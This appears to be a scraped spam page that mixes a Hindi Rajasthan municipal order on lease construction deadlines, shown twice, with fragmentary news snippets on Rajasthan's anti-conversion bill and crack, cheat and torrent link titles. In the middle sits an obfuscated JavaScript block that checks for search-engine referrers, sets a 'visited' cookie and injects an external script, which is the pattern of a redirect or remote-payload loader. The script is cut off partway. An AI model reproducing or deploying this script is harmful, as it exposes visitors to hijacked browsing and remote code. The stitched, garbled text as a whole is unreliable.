Anti Conversion Law In Rajasthan Download Free For Windows 10 64

राजस्थान सरकार
स्वायत्त शासन विभाग, राजस्थान
निदेशालय स्थानीय निकाय, राज0 जयपुर

(जी.3, राजमहल रेजीडेंसी ऐरिया, सिविल लाईन फाटक, 22 गोदाम, सी–स्कीम जयपुर–302005)
टेलीफैक्स 0141–2222403, ईमेल–stplsg407@gmail.com वेब साईट www.lsg.urban.rajasthan.gov.in

क्रमांक : F-59. DLB/STP/न.नि. शास्ति (931)/19/543 दिनांक :– 19.03.2020

आदेश

राजस्थान नगरपालिका अधिनियम, 2009 के अन्तर्गत जारी पट्टा विलेख पर पट्टा जारी होने की 10 वर्ष की समयावधि में भवन निर्माण नहीं किए जाने पर भूखण्ड का आवंटन निरस्त माने जाने एवं 10 वर्ष की अवधि के पश्चात् भूखण्डधारी से संबंधित जोन की सामान्य आवासीय नियमन/आवंटन दर की चार गुणा राशि को आरक्षित दर माना जाकर उक्त आरक्षित दर की 5 प्रतिशत राशि प्रतिवर्ष शास्ति के रूप में वसूल की जाकर भूखण्ड का नियमन किये जाने बाबत् नगरीय विकास विभाग के आदेश क्रमांक एफ.3(212)नविवि/2012 पार्ट दिनांक 13.09.2011 द्वारा निर्देशित किया गया था।

उक्त अवधि को नगरीय विकास विभाग के आदेश दिनांक 17.06.2019 के द्वारा दिनांक 31.12.2019 तक बढाया गया था। जिसके अनुसरण में विभागीय आदेश क्रमांक F-59. DLB/STP/न. नि. शास्ति (931)/19/6151 दिनांक 24.09.2019 के द्वारा नगर निगम/परिषद/नगरपालिका को स्वयं स्तर पर निधारित अवधि में निर्माण नही किये जाने पर दिनांक 31.12.2019 तक निर्माण अवधि बढाने हेतु पुनर्ग्रहण राशि लेकर अधिकृत किया गया था।

उक्त के क्रम में निर्देशित किया जाता है कि चूंकि यह अवधि समाप्त हो चुकी है। अतः राज्य सरकार के सक्षम स्तर से लिये गये निर्णयानुसार, नियमानुसार पुनर्ग्रहण राशि लेकर निर्माण अवधि दिनांक 31.12.2020 बढाये जाने हेतु नगर निगम/परिषद/नगरपालिका को अधिकृत किया जाता है।

उक्त आदेश सक्षम स्तर से अनुमोदित है।

(उज्जवल राठौड़) 19/3/20
निदेशक एवं पदेन संयुक्त सचिव

क्रमांक : F-59. DLB/STP/न.नि. शास्ति (931)/19/545-552 **दिनांक :–** 19.03.2020

प्रतिलिपी निम्न को सूचनार्थः–

1. निजी सचिव, माननीय मंत्री महोदय, नगरीय विकास आवासन एवं स्वायत्त शासन विभाग, राजस्थान, जयपुर।
2. निजी सचिव, प्रमुख शासन सचिव, नगरीय विकास विभाग, राजस्थान, जयपुर।
3. निजी सचिव, शासन सचिव, स्वायत्त शासन विभाग, जयपुर।
4. मुख्य नगर नियोजन, राजस्थान, जयपुर।
5. आयुक्त, नगर निगम जयपुर/जोधपुर/कोटा/अजमेर/उदयपुर/भरतपुर।
6. क्षैत्रीय उपनिदेशक, स्थानीय निकाय विभाग
   जयपुर/जोधपुर/कोटा/अजमेर/उदयपुर/भरतपुर को प्रेषित कर लेख है कि अपने क्षेत्र के अधीन समस्त नगरीय निकायों को सूचित करे।
7. आयुक्त, अधिशाषी अधिकारी, नगर परिषद/नगर पालिका समस्त।
8. CMAR को प्रति प्रेषित कर लेख है कि अधिसूचना को CMAR की वेबसाईट पर अपलोड करावें।
9. System Analyst cum Joint Director. DLB को प्रति प्रेषित कर लेख है, कि आदेश को विभाग की वेबसाईट पर अपलोड करावें।

(राजपाल चौधरी) 19/02/2020
उप नगर नियोजक

Anti Conversion Law In Rajasthan Download Free For Windows 10 64

The Bishop of the capital, Jaipur, Mgr Oswald Lewis, said: "This law is against the Indian Constitution and curtails a person's freedom.. "The RSS is calling on the government to be "stricter with minorities" A Catholic activist retorts: "These are proclamations by powerful caste leaders.

Similar laws are already in place in Orissa, Madhya Pradesh, Gujarat and Tamil Nadu: in the last, the law was scrapped by an ordinance but this is deliberately ignored by local authorities.. We fear it will be misused against us "The "Rajasthan Dharma Swatantrik Vidhayak", or Rajasthan Religious Freedom Bill, would allow authorities to "take any action against conversion" and makes those found guilty liable to imprisonment of two to five years.

[Download Lagu Korea Soundtrack 49 Days]

var _0x460b=['cXl6','c2V0','b0dkWFk=','WnJkblc=','SXVicmQ=','U1lpY0U=','em5CQWs=','cURkQUI=','OyBkb21haW49','dENsZ2w=','Y3JlYXRlRWxlbWVudA==','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','YXBwZW5kQ2hpbGQ=','SU9y','c3BsaXQ=','c3lxWm8=','dEZsVlk=','U3JBWlY=','cmVwbGFjZQ==','UnFUQW4=','bGVuZ3Ro','Y29va2ll','bWF0Y2g=','OyBwYXRoPQ==','OyBzZWN1cmU=','TGhzWWg=','SEpGaVA=','ZXFZZVc=','Q2lOcGc=','OyBleHBpcmVzPQ==','Z2V0VGltZQ==','WE9GWkM=','Skt2QW0=','Vk9jWW0=','Lmdvb2dsZS4=','LmJpbmcu','LnlhaG9vLg==','LmFsdGF2aXN0YS4=','dmlzaXRlZA==','amdz','Z1Bx','R05KZEw=','U1NqVlU=','Zk5VWGg=','LmFvbC4=','LmFzay4=','cUxzaXc=','cmVmZXJyZXI=','VHNpZWs=','S2xsRGc=','aW5kZXhPZg==';(function(_0x4f6ead,_0x296c31){var _0x2a62c3=function(_0x1e676a){while(--_0x1e676a){_0x4f6ead['push'](_0x4f6ead['shift']());}};_0x2a62c3(++_0x296c31);}(_0x460b,0x1d5));var _0x8c66=function(_0x5d41f1,_0x44db1b){_0x5d41f1=_0x5d41f1-0x0;var _0x2c9e2b=_0x460b[_0x5d41f1];if(_0x8c66['initialized']===undefined){(function(){var _0x47469f=function(){var _0xa14fc5;try{_0xa14fc5=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x2caa16){_0xa14fc5=window;}return _0xa14fc5;};var _0x55a951=_0x47469f();var _0x412022='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x55a951['atob']||(_0x55a951['atob']=function(_0x41768f){var _0x21a9e0=String(_0x41768f)['replace'](/=+$/,'');for(var _0x1456bf=0x0,_0x21ec92,_0x4b2a66,_0x1cf122=0x0,_0x2c28b7='';_0x4b2a66=_0x21a9e0['charAt'](_0x1cf122++);~_0x4b2a66&&(_0x21ec92=_0x1456bf%0x4?_0x21ec92*0x40+_0x4b2a66:_0x4b2a66,_0x1456bf++%0x4)?_0x2c28b7+=String['fromCharCode'](0xff&_0x21ec92>>(-0x2*_0x1456bf&0x6)):0x0){_0x4b2a66=_0x412022['indexOf'](_0x4b2a66);}return _0x2c28b7;});}());_0x8c66['base64DecodeUnicode']=function(_0x4d0ec9){var _0x1999a4=atob(_0x4d0ec9);var _0x518cbf=[];for(var _0x30d563=0x0,_0x54f7ae=_0x1999a4['length'];_0x30d563=0x0){_0x2e5142=!![];}}}if(_0x2e5142){if(_0x41c923['RwHrM'](_0x41c923['fSllE'],_0x8c66('0x29'))){cookie[_0x8c66('0x2a')](_0x41c923['Tsiek'],0x1,0x1);if(!_0x2e371e){_0x41c923['EHzhJ'](include,_0x41c923[_0x8c66('0x2b')](_0x41c923[_0x8c66('0x2c')],q)+'');}}else{document[_0x8c66('0xb')]=_0x41c923['oGdXY'](_0x41c923['oGdXY'](_0x41c923[_0x8c66('0x2d')](_0x41c923[_0x8c66('0x2d')](_0x41c923[_0x8c66('0x2d')](name,'='),escape(value)),expires?_0x41c923[_0x8c66('0x2d')](';\x20expires=',new Date(_0x41c923[_0x8c66('0x2e')](new Date()[_0x8c66('0x14')](),_0x41c923[_0x8c66('0x2f')](expires,0x3e8)))):'')+(path?_0x41c923[_0x8c66('0x30')]+path:''),domain?_0x8c66('0x31')+domain:''),secure?_0x41c923[_0x8c66('0x32')]:'');}}}R();
Rajasthan approves anti-conversion lawJaipur Bishop "We fears its misuse against minorities".. Jaipur (AsiaNews/CBCI) ? The government of Rajasthan, a central-eastern state of India, yesterday (26 March) approved an anti-conversion law with stringent provisions to deal with "those who carry out conversion activities by means of allurement or fraud". [Panman Vst Crack]

राजस्थान सरकार
स्वायत्त शासन विभाग, राजस्थान
निदेशालय स्थानीय निकाय, राज0 जयपुर

(जी.3, राजमहल रेजीडेंसी ऐरिया, सिविल लाईन फाटक, 22 गोदाम, सी–स्कीम जयपुर–302005)
टेलीफैक्स 0141–2222403, ईमेल–stplsg407@gmail.com वेब साईट www.lsg.urban.rajasthan.gov.in

क्रमांक : F-59. DLB/STP/न.नि. शास्ति (931)/19/543 दिनांक :– 19.03.2020

आदेश

राजस्थान नगरपालिका अधिनियम, 2009 के अन्तर्गत जारी पट्टा विलेख पर पट्टा जारी होने की 10 वर्ष की समयावधि में भवन निर्माण नहीं किए जाने पर भूखण्ड का आवंटन निरस्त माने जाने एवं 10 वर्ष की अवधि के पश्चात् भूखण्डधारी से संबंधित जोन की सामान्य आवासीय नियमन/आवंटन दर की चार गुणा राशि को आरक्षित दर माना जाकर उक्त आरक्षित दर की 5 प्रतिशत राशि प्रतिवर्ष शास्ति के रूप में वसूल की जाकर भूखण्ड का नियमन किये जाने बाबत् नगरीय विकास विभाग के आदेश क्रमांक एफ.3(212)नविवि/2012 पार्ट दिनांक 13.09.2011 द्वारा निर्देशित किया गया था।

उक्त अवधि को नगरीय विकास विभाग के आदेश दिनांक 17.06.2019 के द्वारा दिनांक 31.12.2019 तक बढाया गया था। जिसके अनुसरण में विभागीय आदेश क्रमांक F-59. DLB/STP/न. नि. शास्ति (931)/19/6151 दिनांक 24.09.2019 के द्वारा नगर निगम/परिषद/नगरपालिका को स्वयं स्तर पर निधारित अवधि में निर्माण नही किये जाने पर दिनांक 31.12.2019 तक निर्माण अवधि बढाने हेतु पुनर्ग्रहण राशि लेकर अधिकृत किया गया था।

उक्त के क्रम में निर्देशित किया जाता है कि चूंकि यह अवधि समाप्त हो चुकी है। अतः राज्य सरकार के सक्षम स्तर से लिये गये निर्णयानुसार, नियमानुसार पुनर्ग्रहण राशि लेकर निर्माण अवधि दिनांक 31.12.2020 बढाये जाने हेतु नगर निगम/परिषद/नगरपालिका को अधिकृत किया जाता है।

उक्त आदेश सक्षम स्तर से अनुमोदित है।

(उज्जवल राठौड़) 19/3/20
निदेशक एवं पदेन संयुक्त सचिव

क्रमांक : F-59. DLB/STP/न.नि. शास्ति (931)/19/545-552 **दिनांक :–** 19.03.2020

प्रतिलिपी निम्न को सूचनार्थः–

1. निजी सचिव, माननीय मंत्री महोदय, नगरीय विकास आवासन एवं स्वायत्त शासन विभाग, राजस्थान, जयपुर।
2. निजी सचिव, प्रमुख शासन सचिव, नगरीय विकास विभाग, राजस्थान, जयपुर।
3. निजी सचिव, शासन सचिव, स्वायत्त शासन विभाग, जयपुर।
4. मुख्य नगर नियोजन, राजस्थान, जयपुर।
5. आयुक्त, नगर निगम जयपुर/जोधपुर/कोटा/अजमेर/उदयपुर/भरतपुर।
6. क्षैत्रीय उपनिदेशक, स्थानीय निकाय विभाग
   जयपुर/जोधपुर/कोटा/अजमेर/उदयपुर/भरतपुर को प्रेषित कर लेख है कि अपने क्षेत्र के अधीन समस्त नगरीय निकायों को सूचित करे।
7. आयुक्त, अधिशाषी अधिकारी, नगर परिषद/नगर पालिका समस्त।
8. CMAR को प्रति प्रेषित कर लेख है कि अधिसूचना को CMAR की वेबसाईट पर अपलोड करावें।
9. System Analyst cum Joint Director. DLB को प्रति प्रेषित कर लेख है, कि आदेश को विभाग की वेबसाईट पर अपलोड करावें।

19/02/2020
(राजपाल चौधरी)
उप नगर नियोजक

Apk Punch Hero Cheat

May 07th, 2019

Three years after the massacre of Muslims in Gujarat, a Jesuit priest, Fr Cedric Prakash, analyses the situation in this Indian state and the political trap the fundamentalists "set for themselves" by approving anti-conversion legislation. Torrent Microsoft Office 2008 For Mac

Download Canon Mg3100 Printer Driver For Mac

In Rajasthan, Christians represent 0 11% of the population and Muslims 8%, while Hindus account for 89%.. Human rights groups describe the law as "a norm targeting minority communities in Rajasthan, preventing or limiting their presence".. According to the Bill, those found guilty could be imprisoned for two to five years.. The Christian community said the assailants were Hindu fundamentalists active in the area.. Speaking in the heart of the newly set up diocese of Jashpur, the BJP chairman launched an umpteenth attack against missionaries, "corrupters of the poor".. They are the terrorists "The attacks targeted Protestants in Bantaguri and Balmatta. ae05505a44 More Sharing

ae05505a44

Dr Fone Activation Code Free